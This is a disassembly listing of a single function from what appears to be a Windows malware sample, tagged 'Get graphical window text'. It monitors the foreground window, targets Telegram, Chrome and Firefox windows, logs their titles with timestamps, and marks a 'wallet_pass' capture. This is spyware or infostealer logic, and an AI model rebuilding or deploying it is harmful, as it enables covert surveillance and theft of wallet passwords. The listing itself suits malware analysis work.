Function at 0x1800066e0
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rdi
push rbp
lea rbp, [rsp - 0x5b0]
sub rsp, 0x6b0
mov rax, qword [0x18003d020]
xor rax, rsp
mov qword [rbp + 0x5a0], rax
lea rcx, [0x180042210]
xor edx, edx
mov r8d, 0x400
call fcn.180016520
lea rcx, [rsp + 0x50]
call qword [sym.imp.USER32.dll_GetCursorPos]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.USER32.dll_WindowFromPoint]
mov rdi, rax
mov qword [0x180042208], rax
test rax, rax
je 0x1800069f6
lea rcx, [rbp - 0x7f]
xor edx, edx
mov r8d, 0x103
mov byte [rbp - 0x80], 0
call fcn.180016520
lea rcx, [rbp + 0x91]
xor edx, edx
mov r8d, 0x103
mov byte [rbp + 0x90], 0
call fcn.180016520
lea rdx, [rbp - 0x80]
mov r8d, 0x104
mov rcx, rdi
call qword [sym.imp.USER32.dll_GetWindowTextA]
mov rcx, qword [0x180042208]
lea rdx, [rbp + 0x90]
mov r8d, 0x104
call qword [sym.imp.USER32.dll_GetClassNameA]
lea rcx, [rbp + 0x1a1]
xor edx, edx
mov r8d, 0x3ff
mov byte [rbp + 0x1a0], 0
call fcn.180016520
mov rdx, qword [rbp - 0x80]
cmp rdx, qword [str.Telegram]
jne 0x1800068ae
lea rdx, str.Qt51510QWindowIcon
lea rcx, [rbp + 0x90]
call fcn.180011f60
test eax, eax
jne 0x1800068ae
mov rax, qword [0x1800420f8]
cmp qword [0x180042208], rax
je 0x1800068a7
or rcx, 0xffffffffffffffff
xor eax, eax
lea rdi, [rbp - 0x80]
repne scasb al, byte [rdi]
lea rdx, [rbp - 0x80]
not rcx
lea r8, [rcx - 1]
lea rcx, [0x180042210]
call fcn.180011290
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [rsp + 0x64]
movzx eax, word [rsp + 0x62]
movzx ecx, word [rsp + 0x60]
movzx edi, word [rsp + 0x5e]
movzx r10d, word [rsp + 0x5a]
mov dword [rsp + 0x40], edx
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x28], edi
lea rdx, [0x1800355b0]
mov dword [rsp + 0x20], r10d
movzx r9d, word [rsp + 0x58]
lea r8, [0x180042210]
lea rcx, [rbp + 0x1a0]
call qword [sym.imp.USER32.dll_wsprintfA]
lea rcx, [rbp + 0x1a0]
call fcn.180006630
lea rcx, [0x180042210]
xor edx, edx
mov r8d, 0x400
call fcn.180016520
mov rdx, qword [0x180042208]
mov qword [0x1800420f8], rdx
xor eax, eax
jmp 0x1800069f9
lea rdx, [rbp - 0x80]
lea rcx, str.Chrome_Legacy_Window
call fcn.180011f60
test eax, eax
jne 0x1800068d9
lea rdx, [rbp + 0x90]
lea rcx, str.Chrome_RenderWidgetHostHWND
call fcn.180011f60
test eax, eax
je 0x18000690c
lea rdx, [rbp + 0x90]
lea rcx, str.MozillaDropShadowWindowClass
call fcn.180011f60
test eax, eax
jne 0x1800069e8
lea rdx, [rbp - 0x80]
lea rcx, [0x180035083]
call fcn.180011f60
test eax, eax
jne 0x1800069e8
mov rcx, qword [0x180042208]
lea rdx, [rsp + 0x68]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [rsp + 0x70]
sub eax, dword [rsp + 0x68]
pxor xmm1, xmm1
pxor xmm0, xmm0
cvtsi2sd xmm1, rax
mov eax, dword [rsp + 0x74]
sub eax, dword [rsp + 0x6c]
cvtsi2sd xmm0, rax
divsd xmm1, xmm0
mulsd xmm1, qword [0x180035af8]
cvttsd2si rax, xmm1
cmp eax, 0x3b
je 0x18000695f
cmp eax, 0x3c
jne 0x1800069e8
mov rax, qword [0x1800420f8]
cmp qword [0x180042208], rax
jne 0x180006979
mov eax, 1
jmp 0x1800069f9
mov rax, qword [str.wallet_pass]
lea rcx, [rsp + 0x58]
mov qword [0x180042210], rax
movzx eax, word [0x180035670]
mov word [0x180042218], ax
movzx eax, byte [reloc.WS2_32.dll_WSAStartup]
mov byte [0x18004221a], al
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [rsp + 0x64]
movzx eax, word [rsp + 0x62]
movzx ecx, word [rsp + 0x60]
movzx edi, word [rsp + 0x5e]
movzx r8d, word [rsp + 0x5a]
mov dword [rsp + 0x40], edx
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x28], edi
lea rdx, str._r_n____________________________________________r_n_
mov dword [rsp + 0x20], r8d
jmp 0x18000685f
mov rax, qword [0x180042208]
mov qword [0x1800420f8], rax
or eax, 0xffffffff
mov rcx, qword [rbp + 0x5a0]
xor rcx, rsp
call fcn.180011250
mov rdi, qword [rsp + 0x6c0]
add rsp, 0x6b0
pop rbp
ret